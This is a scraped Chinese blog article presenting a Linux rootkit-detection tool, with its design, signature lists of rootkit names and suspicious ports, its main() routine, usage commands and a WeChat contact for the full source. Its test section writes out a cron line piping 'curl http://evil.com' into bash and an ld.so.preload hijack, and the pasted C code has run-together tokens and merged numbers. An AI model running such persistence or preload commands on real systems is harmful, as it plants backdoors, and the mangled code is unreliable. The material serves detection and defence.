当前位置:首页>Linux>暗影猎手:从零打造Linux内核级威胁检测引擎

暗影猎手:从零打造Linux内核级威胁检测引擎

  • 2026-06-28 06:49:31
暗影猎手:从零打造Linux内核级威胁检测引擎

当攻击者已经扎根内核,常规的安全工具往往形同虚设。本文将拆解一款面向实战的Linux内核威胁检测工具,看它如何用"交叉验证"的朴素思想,在系统最深处追捕那些看不见的敌人。

一、为什么叫"暗影猎手"?

这个名字想表达两层意思:

"暗影" —— 指的是Rootkit这类恶意软件的生存方式。它们不像勒索软件那样大张旗鼓,而是像影子一样潜伏在系统底层,篡改内核数据结构、Hook系统调用、隐藏进程和文件,让管理员看到的"一切正常"都是精心伪造的幻象。

"猎手" —— 指的是这款工具的定位。它不是被动等待告警的防火墙,而是主动深入系统各个角落的取证工具。从用户态到内核态,从内存到启动链,从传统LKM到新兴eBPF,它像猎手一样追踪每一个异常痕迹。

说白了,这就是一个**专门抓"看不见的东西"**的工具。


二、它到底能抓什么?

根据代码和项目资料,这款工具的签名库覆盖了200多种已知威胁,检测维度横跨7大模块:

检测模块
抓什么
典型威胁
进程隐藏
从/proc消失的进程
Reptile、Diamorphine
内核模块
恶意LKM、隐藏模块
Suterusu、Kovid
库注入
LD_PRELOAD劫持
Jynx、Azazel
网络后门
隐蔽监听端口、异常连接
各类反向Shell
eBPF威胁
恶意BPF程序
ebpfkit、Boopkit
内存取证
注入代码、RWX内存
无文件攻击
持久化
后门定时任务、服务
Cron后门、Systemd植入
容器安全
容器逃逸、特权滥用
Siloscape、TeamTNT

特别值得一提的是它对APT级威胁的覆盖——Turla、Equation Group、Lazarus、Winnti这些国家级攻击组织的工具特征也被纳入了检测范围。这意味着它不只是抓"脚本小子"的玩具,而是能对抗专业对手的工业级工具。


三、核心设计思路:没有银弹,只有交叉验证

传统杀毒软件靠"特征码"吃饭,但Rootkit最擅长的就是让你看不到特征码。这款工具的设计哲学是:单一数据源不可信,交叉验证才可靠

3.1 进程检测:/proc 目录 vs kill() 系统调用

这是最经典的交叉验证案例。

Rootkit通常会Hook readdir() 或 getdents() 系统调用,让 /proc 目录里看不到恶意进程。但Hook kill() 要困难得多——因为kill(pid, 0)这个调用太简单了,只是检查进程是否存在,很多Rootkit作者会忽略它。

┌─────────────────┐
│  读取 /proc 目录  │ ← 可能被Hook,数据不可信
│  统计进程数量     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  遍历 PID 范围   │ ← 用kill(pid, 0)验证
│  验证进程存在性   │   更难被欺骗
└────────┬────────┘
         │
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ /proc  │ │ /proc 不存在  │
│ 存在   │ │ 但kill成功!   │
│ 正常   │ │ → 隐藏进程!   │
└────────┘ └──────────────┘

代码核心逻辑就是:如果 kill(pid, 0) 返回成功(进程存在),但 /proc/pid 目录却访问不到,那这个进程就是被刻意隐藏的,直接报CRITICAL级别告警。

3.2 模块检测:/proc/modules vs /sys/module

恶意内核模块可能从 lsmod 的输出中消失(通过从内核模块链表中摘除自己),但 /sys/module/ 下的kobject往往还留着——因为清理这个需要更复杂的操作。

工具会同时读取这两个来源,如果发现某个模块在 /proc/modules 里存在但 /sys/module 下没有对应目录,或者反过来,就判定为"隐藏模块"。

3.3 内存取证:RWX权限区域扫描

正常程序很少需要同时具有**读(R)、写(W)、执行(X)**权限的内存页。但注入的Shellcode或动态加载的恶意库常常需要这种权限。

工具遍历所有进程的 /proc/pid/maps,寻找同时具备 rwx 权限的内存区域,特别是那些:

  • 匿名映射(没有对应文件)
  • 标记为 deleted 的文件映射
  • 位于 /tmp/dev/shm 等临时目录

这些区域极可能是无文件攻击内存注入的痕迹。


四、代码实现原理图解

staticconstchar *LKM_ROOTKITS[] = {

"singularity""reptile""diamorphine""suterusu""kovid",
"nurupo""bdvl""beurk""azazel""jynx2""vlany",
"horsepill""drovorub""facefish""skidmap""pandora",
"umbreon""keysniffer""r77""fontanini""kbeast",
"rkspotter""rkorova""khook""lkm_rootkit""nuk3gh0st",
"icehide""brokepkg""reveng_rtkit""medusa_lkm",
"spectre_lkm""phantom_lkm""venom_rootkit""hydra_lkm",


"adore""adore-ng""knark""synapsys""heroine",
"suckit""shv4""shv5""shv6""rkit""rkh""lrk""lrk3",
"lrk4""lrk5""lrk6""t0rn""ambient""phalanx",
"phalanx2""phantasmagoria""snakso""mood-nt",
"override""rial""rsha""enyelkm""kbdv3",
"superkit""all-root""kbd-mod""hp-ux""solaris_module",
"kis""lvtes""moodnt""optic_kit""ramen""omega",


"turla""uroburos""snake""carbon""penquin""penguin_turla",
"equation""equationgroup""regin""hive""bvp47""dirtycow_lkm",
"drovorub_kernel""winnti_lkm""lazarus_lkm""apt28_lkm",
"apt29_lkm""cozy_duke""fancy_bear""sandworm_lkm",
"sofacy""grizzly_steppe""energetic_bear""palmetto_fusion",
"lightning_framework""symbiote""orbit_lkm""shikitega",


"ebpfkit""pamspy""boopkit""bad_bpf""bpf_rootkit",
"triton_ebpf""ebpf_exfil""bpfdoor""bpf_backdoor",
NULL
};

staticconstchar *USERLAND_ROOTKITS[] = {
"jynx""jynx2""jynx3""azazel""azazel2""vlany""beurk",
"bdvl""bdvl2""libprocesshider""apache_backdoor""cub3",
"erebus""ld_poison""preload_hook""prochide""processhider",
"umbreon_user""libc_hook""glibc_hook""libselinux_fake",
"fakeld""evil_preload""stealth_preload""rootsh",
"ld_backdoor""libmimikatz""pam_backdoor""nss_backdoor",
"openssh_backdoor""libkeyutils_backdoor""xorddos_preload",
"chinaz_preload""setuid_backdoor""setgid_backdoor",
NULL
};

staticconstchar *BOOTKITS[] = {
/* Modern UEFI */
"blacklotus""cosmicstrand""moonbounce""especter""vector_edk",
"lojax""finspy_bootkit""mosaic_regressor""trickbot_uefi",
"thunderstrike""thunderstrike2""hacking_team_uefi",
"lighteater""dreamboot""rkloader""uefi_implant",

/* Legacy MBR/VBR */
"rovnix""carberp""tdss""tdl""tdl2""tdl3""tdl4",
"olmarik""sinowal""torpig""mebroot""stoned""stone",
"alureon""gapz""bootrash""bootkit""vbootkit",
"grayfish""finfisher_bootkit""hdroot""nemesis",
"petya_bootkit""satana""cidox""pihar""zeroaccess",
NULL
};

staticconstchar *CONTAINER_ROOTKITS[] = {
/* Cryptomining */
"kinsing""teamtnt""watchdog""graboid""pro_ocean",
"lemon_duck""z0miner""xanthe""cetus""autom",


"doki""hildegard""siloscape""azurescape""cr8escape",
"kubernetes_backdoor""docker_escape""cgroup_escape",
"container_drift""malicious_admission""pod_escape",
"kube_hunter_exp""peirates""kubeletctl_exp",


"awscli_backdoor""gcp_backdoor""azure_backdoor",
"cloud_credential_stealer""metadata_thief""imds_exfil",
NULL
};

staticconstchar *EBPF_THREATS[] = {
"bpf_probe_write_user""bpf_override_return""bpf_send_signal",
"bpf_sys_bpf""tracepoint_probe""kprobe_hijack",
"xdp_drop_stealth""tc_redirect_hidden""cgroup_skb_hidden",
"raw_tracepoint_backdoor""fentry_hook""fexit_hook",
"bpf_map_hidden""ringbuf_exfil""perfbuf_exfil",
NULL
};

staticconstchar *SUSPICIOUS_MODULES[] = {
"rootkit""hidden""stealth""invisible""hide""hider",
"cloak""phantom""ghost""shadow""backdoor""shell",
"keylog""sniffer""hook""inject""hijack""hijacker",
"intercept""bypass""elevate""escalate""priv""privilege",
"syscall_hook""vfs_hook""netfilter_hook""ipt_hook",
"xor_key""decrypt_mod""crypt_mod""encode_mod",
"rev_shell""bind_shell""remote_access""rat_mod""c2_mod",
"miner""cryptominer""xmrig_mod""monero_mod""coin_mod",
"exfil""data_steal""cred_dump""passwd_grab",
NULL
};

staticconstint SUSPICIOUS_PORTS[] = {
313373133812345123462737427665200341243,
6667666666686669,  /* IRC */
4444444555555554,  /* Metasploit default */
8080844390019030,  /* Tor/proxies */
2222222333331337,  /* Alt SSH/misc */
415245555350050,     /* RATs */
66977000999965535/* Various */
0
};

typedefstruct {
constchar *name;
constunsignedchar *pattern;
size_t offset;
size_t len;
int severity;
signature_t;

staticconstsignature_t FILE_SIGNATURES[] = {
    {"Reptile LKM", (constunsignedchar*)"reptile"07, SEV_CRITICAL},
    {"Diamorphine", (constunsignedchar*)"diamorphine"011, SEV_CRITICAL},
    {"Suterusu", (constunsignedchar*)"suterusu"08, SEV_CRITICAL},
    {"Kovid LKM", (constunsignedchar*)"kovid"05, SEV_CRITICAL},
    {"Jynx2", (constunsignedchar*)"JYNX2"05, SEV_CRITICAL},
    {"Azazel", (constunsignedchar*)"AZAZEL"06, SEV_CRITICAL},
    {"BDVl", (constunsignedchar*)"bdvl"04, SEV_CRITICAL},
    {"Singularity", (constunsignedchar*)"singularity"011, SEV_CRITICAL},
    {"Drovorub", (constunsignedchar*)"drovorub"08, SEV_CRITICAL},
    {"eBPFkit", (constunsignedchar*)"ebpfkit"07, SEV_CRITICAL},
    {"BPFDoor", (constunsignedchar*)"bpfdoor"07, SEV_CRITICAL},
    {"Symbiote", (constunsignedchar*)"symbiote"08, SEV_CRITICAL},
    {NULLNULL000}
};

staticconstchar *SUSPICIOUS_DIRS[] = {
"/dev/shm/.""/tmp/.""/var/tmp/.""/run/.",
"/.hidden""/root/.""/.cache/.",
"/dev/.blkid""/dev/.udev""/dev/.initramfs",
"/usr/share/.""/usr/lib/.""/lib/.",
"/etc/.""/var/lib/.""/opt/.",
NULL
};
staticconstchar *INTEGRITY_FILES[] = {
"/bin/ls""/bin/ps""/bin/netstat""/bin/ss",
"/bin/login""/bin/su""/bin/sudo""/bin/passwd",
"/usr/bin/ssh""/usr/bin/sshd""/usr/bin/top",
"/usr/bin/find""/usr/bin/lsof""/usr/bin/w",
"/sbin/ifconfig""/sbin/init""/sbin/insmod",
"/sbin/modprobe""/sbin/rmmod""/sbin/lsmod",
"/lib/x86_64-linux-gnu/libc.so.6",
"/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",
"/lib/x86_64-linux-gnu/libpam.so.0",
NULL
};

staticconstchar *HIJACK_LIBS[] = {
"libkeyutils.so""libselinux.so""libcrypt.so",
"libc.so.6""libdl.so.2""libpthread.so.0",
"libpam.so""libnss_files.so""libnss_compat.so",
"libsystemd.so""libutil.so""libcap.so",
NULL
};

staticconstchar *PROC_HIDING_INDICATORS[] = {
"/proc/sys/kernel/modules_disabled",
"/proc/sys/kernel/kptr_restrict",
"/sys/module/*/holders",
"/sys/kernel/debug/tracing/available_filter_functions",
NULL
};
...
intmain(int argc, char *argv[])
{

for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
            print_usage(argv[0]);
return0;
        } elseif (strcmp(argv[i], "--version") == 0) {
printf("Rupurt v%s - Advanced Rootkit Hunter\n", VERSION);
printf("Signatures: 200+ rootkits, bootkits, eBPF threats\n");
return0;
        } elseif (strcmp(argv[i], "-a") == 0 || strcmp(argv[i], "--all") == 0) {
            run_all = 1;
        } elseif (strcmp(argv[i], "-q") == 0 || strcmp(argv[i], "--quick") == 0) {
            run_quick = 1;
        } elseif (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--processes") == 0) {
            run_procs = 1;
        } elseif (strcmp(argv[i], "-m") == 0 || strcmp(argv[i], "--modules") == 0) {
            run_modules = 1;
        } elseif (strcmp(argv[i], "-f") == 0 || strcmp(argv[i], "--files") == 0) {
            run_files = 1;
        } elseif (strcmp(argv[i], "-n") == 0 || strcmp(argv[i], "--network") == 0) {
            run_network = 1;
        } elseif (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--syscalls") == 0) {
            run_syscalls = 1;
        } elseif (strcmp(argv[i], "-b") == 0 || strcmp(argv[i], "--boot") == 0) {
            run_boot = 1;
        } elseif (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "--container") == 0) {
            run_container = 1;
        } elseif (strcmp(argv[i], "-e") == 0 || strcmp(argv[i], "--persistence") == 0) {
            run_persistence = 1;
        } elseif (strcmp(argv[i], "-M") == 0 || strcmp(argv[i], "--memory") == 0) {
            run_memory = 1;
        } elseif (strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "--ebpf") == 0) {
            run_ebpf = 1;
        } elseif (strcmp(argv[i], "-I") == 0 || strcmp(argv[i], "--integrity") == 0) {
            run_integrity = 1;
        } elseif (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) {
            opt_verbose = 1;
        } elseif (strcmp(argv[i], "-Q") == 0 || strcmp(argv[i], "--quiet") == 0) {
            opt_quiet = 1;
        } elseif (strcmp(argv[i], "-j") == 0 || strcmp(argv[i], "--json") == 0) {
            opt_json = 1;
        } elseif (strcmp(argv[i], "-d") == 0 || strcmp(argv[i], "--deep") == 0) {
            opt_deep_scan = 1;
        } elseif ((strcmp(argv[i], "-l") == 0 || strcmp(argv[i], "--log") == 0) && i + 1 < argc) {
            log_path = argv[++i];
        }
    }

if (!run_quick && !run_procs && !run_modules && !run_files && 
        !run_network && !run_syscalls && !run_boot && !run_container &&
        !run_persistence && !run_memory && !run_ebpf && !run_integrity) {
        run_all = 1;
    }

if (log_path) {
        log_file = fopen(log_path, "w");
if (!log_file) {
fprintf(stderr"Cannot open log file: %s\n", log_path);
        } else {
time_t now = time(NULL);
fprintf(log_file, "Rupurt v%s - Scan started at %s\n", VERSION, ctime(&now));
        }
    }

if (!opt_quiet && !opt_json) {
printf("%s", BANNER);
    }

if (geteuid() != 0) {
        print_warn("Running without root - some checks may be limited");
    }

    stats.start_time = time(NULL);

if (!opt_quiet && !opt_json) {
structutsnameuts;
if (uname(&uts) == 0) {
            print_info("System: %s %s %s", uts.sysname, uts.release, uts.machine);
        }
        print_info("Starting rootkit scan...");
    }

if (run_all || run_quick || run_procs) {
        check_hidden_processes();
    }

if (run_all || run_quick) {
        check_ld_preload();
    }

if (run_all || run_quick || run_modules) {
        check_kernel_modules();
    }

if (run_all || run_files) {
        check_rootkit_files();
    }

if (run_all || run_network) {
        check_network_backdoors();
    }

if (run_all || run_syscalls) {
        check_syscall_hooks();
    }

if (run_all || run_ebpf) {
        check_ebpf_programs();
    }

if (run_all || run_boot) {
        check_boot_integrity();
    }

if (run_all || run_container) {
        check_container_security();
    }

if (run_all || run_persistence) {
        check_persistence();
    }

if (run_all || run_integrity) {
        check_file_integrity();
    }

if (run_all || run_memory) {
        check_memory_signatures();
    }


    print_summary();

if (log_file) {
time_t now = time(NULL);
fprintf(log_file, "\nScan completed at %s", ctime(&now));
fprintf(log_file, "Summary: %d critical, %d high, %d medium, %d low\n",
                stats.critical, stats.high, stats.medium, stats.low);
        fclose(log_file);
if (!opt_quiet && !opt_json) {
            print_info("Results logged to: %s", log_path);
        }
    }

return stats.critical > 0 ? 2 : (stats.high > 0 ? 1 : 0);
}

If you need the complete source code, please add the WeChat number (c17865354792)

4.1 整体架构流程

┌─────────────────────────────────────────────┐
│                    启动入口                    │
│         解析参数 → 初始化统计结构               │
└────────┬──────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              检测模块调度器                    │
│  ┌─────┐┌────┐┌────┐┌────┐┌────┐┌────┐    │
│  │进程 ││模块││文件││网络││持久││内存│    │
│  │隐藏 ││分析││扫描││检测││化  ││取证│    │
│  └─────┘└────┘└────┘└────┘└────┘└────┘    │
└────────┬────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              威胁评估与分级                    │
│  CRITICAL → HIGH → MEDIUM → LOW → INFO     │
└────────┬────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────┐
│              结果汇总输出                      │
│  控制台(彩色) / JSON / 日志文件               │
└─────────────────────────────────────────────┘

4.2 LD_PRELOAD 劫持检测流程

┌─────────────────┐
│ 检查环境变量     │
│ LD_PRELOAD      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 检查 /etc/ld.so │
│ .preload 文件   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 遍历加载的库     │
│ /proc/self/maps │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 检查可疑路径     │
│ /tmp /dev/shm   │
│ /var/tmp 等     │
└────────┬────────┘
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ 无异常  │ │ 发现劫持!    │
│        │ │ HIGH/CRIT    │
└────────┘ └──────────────┘

4.3 网络后门检测流程

┌─────────────────┐
│ 读取 /proc/net  │
│ tcp/tcp6/raw    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 解析连接状态     │
│ local_port      │
│ remote_port     │
│ state           │
└────────┬────────┘
    ┌────┴────┐
    │         │
    ▼         ▼
┌────────┐ ┌──────────────┐
│ LISTEN │ │ ESTABLISHED  │
│ (0x0A) │ │ (0x01)      │
└───┬────┘ └──────┬───────┘
    │             │
    ▼             ▼
┌────────┐   ┌──────────────┐
│端口在白 │   │ 端口在白名单? │
│名单?    │   │ 4444等       │
│31337等  │   └──────┬───────┘
└───┬────┘          │
┌───┴───┐      ┌────┴────┐
│       │      │         │
▼       ▼      ▼         ▼
正常   命中!  正常      命中!
      HIGH            HIGH
      后门            可疑

五、涉及的技术领域总结

这款工具虽然代码量不大,但横跨了Linux系统安全的多个核心领域:

5.1 Linux内核架构

  • /proc 伪文件系统:进程信息、模块列表、网络状态都从这里读取
  • /sys 文件系统:内核对象、模块参数、调试信息的暴露接口
  • 系统调用机制:理解Rootkit如何Hook sys_call_table
  • LKM机制:可加载内核模块的加载、卸载、隐藏原理
  • eBPF子系统:BPF_PROG_LOAD、BPF_MAP_CREATE等新兴攻击面

5.2 进程管理与内存管理

  • PID命名空间:容器隔离与进程隐藏的关系
  • 进程内存映射:/proc/pid/maps的解析与含义
  • ELF文件格式:验证系统二进制是否被篡改(Magic: 0x7f ELF)
  • 动态链接器:ld-linux的工作原理,PLT/GOT表机制

5.3 网络安全

  • TCP连接状态机:/proc/net/tcp的十六进制状态解析(0x0A=LISTEN)
  • 原始套接字:RAW_SOCKET、PACKET_SOCKET的滥用检测
  • Netfilter框架:iptables钩子被篡改的检测思路

5.4 容器与云安全

  • 容器逃逸技术:privileged模式、docker.sock挂载、cgroup逃逸
  • Kubernetes安全:ServiceAccount令牌滥用、RBAC配置审计
  • 云元数据服务:IMDS(Instance Metadata Service)窃取攻击

5.5 取证与威胁情报

  • 交叉视图分析:多数据源对比发现不一致性
  • 签名匹配技术:字符串匹配、二进制特征码、哈希校验
  • 持久化机制:Cron、Systemd、SSH authorized_keys、rc.local等
  • UEFI/启动链安全:Secure Boot、GRUB完整性、Initramfs监控

5.6 安全工程实践

  • 最小权限原则:非root运行时的功能降级与提示
  • 日志分级设计:CRITICAL/HIGH/MEDIUM/LOW/INFO五级分类
  • 多格式输出:彩色终端(ANSI转义码)、JSON(SIEM集成)、日志文件
  • 返回码语义:0=干净、1=高风险、2=已沦陷,便于自动化脚本集成

六、实战中的使用场景

场景1:服务器被入侵后的应急排查

机器行为异常但找不到可疑进程?运行全量扫描,重点看进程隐藏内存取证模块。如果kill()能探测到进程但/proc里看不到,基本可以确定有内核级Rootkit。

场景2:容器环境安全审计

在K8s集群中运行容器安全扫描,检查是否有特权容器docker.sock挂载可疑的ServiceAccount权限。这些往往是容器逃逸的前兆。

场景3:eBPF新型威胁检测

随着eBPF攻击工具(如ebpfkit、Boopkit)的兴起,传统基于LKM的检测方法失效。工具的eBPF分析模块通过遍历 /proc/*/fdinfo 查找BPF程序类型,识别异常加载的BPF程序。

场景4:自动化安全巡检

配合 --json 输出和返回码,可以集成到CI/CD流水线或定时任务中。返回码2直接触发告警,返回码1记录日志人工复核。


七、运行方式

# 查看帮助
./rupurt -h

# 全量扫描(默认,不需要参数)
sudo ./rupurt

# 快速扫描(只查进程、模块、预加载)
sudo ./rupurt -q

# 指定模块扫描
sudo ./rupurt -p    # 只查隐藏进程
sudo ./rupurt -m    # 只查内核模块
sudo ./rupurt -f    # 只查可疑文件
sudo ./rupurt -n    # 只查网络后门
sudo ./rupurt -E    # 只查eBPF
sudo ./rupurt -e    # 只查持久化机制

# 输出控制
sudo ./rupurt -v              # 详细模式
sudo ./rupurt -Q              # 静默模式(只显示告警)
sudo ./rupurt -j > report.json # JSON输出,方便自动化
sudo ./rupurt -l scan.log     # 写日志文件
sudo ./rupurt -d              # 深度扫描(更慢但更彻底)

# 组合示例
sudo ./rupurt -a -d -v -l full_scan.log

返回码含义

  • 0 = 系统干净
  • 1 = 发现HIGH级别威胁,需要调查
  • 2 = 发现CRITICAL级别威胁,系统可能已沦陷

模拟测试(在测试环境验证检测能力)

场景1:模拟LD_PRELOAD劫持

export LD_PRELOAD=/tmp/fake_lib.so
./rupurt -q
# 预期输出:检测到 LD_PRELOAD 被设置
unset LD_PRELOAD

场景2:模拟/etc/ld.so.preload劫持

echo"/tmp/malicious.so" | sudo tee /etc/ld.so.preload
sudo ./rupurt -q
# 预期输出:检测到可疑预加载库
sudo rm /etc/ld.so.preload

场景3:模拟可疑网络端口

nc -l 4444 &
sudo ./rupurt -n
# 预期输出:检测到可疑监听端口 4444
kill %1

场景4:模拟可疑文件

sudo mkdir /dev/.test_hidden
sudo touch /dev/.test_hidden/backdoor
sudo chmod +x /dev/.test_hidden/backdoor
sudo ./rupurt -f
# 预期输出:检测到隐藏目录和可执行文件
sudo rm -rf /dev/.test_hidden

场景5:模拟持久化后门

echo"* * * * * root curl http://evil.com | bash" | sudo tee /etc/cron.d/suspicious
sudo ./rupurt -e
# 预期输出:检测到可疑的 pipe to bash
sudo rm /etc/cron.d/suspicious

场景6:模拟可疑Systemd服务

cat << 'EOF' | sudo tee /etc/systemd/system/suspicious.service
[Unit]
Description=Test
[Service]
ExecStart=/dev/shm/.hidden/malware
[Install]
WantedBy=multi-user.target
EOF
sudo ./rupurt -e
# 预期输出:检测到可疑Systemd服务
sudo rm /etc/systemd/system/suspicious.service

总结

这款工具的价值不在于它用了多么高深的技术,而在于它把**"交叉验证"**这个朴素的思想贯彻到了极致。当攻击者能够Hook系统调用、篡改内核数据结构时,单一的信息源已经不可信。只有通过多个独立渠道获取信息并对比差异,才能发现那些被精心隐藏的威胁。

Welcome to follow WeChat official account【程序猿编码

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-02 23:26:19 HTTP/2.0 GET : https://f.mffb.com.cn/a/500490.html
  2. 运行时间 : 0.312251s [ 吞吐率:3.20req/s ] 内存消耗:4,847.77kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=d85ac5596f7c6a4c4e41242602e80e92
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
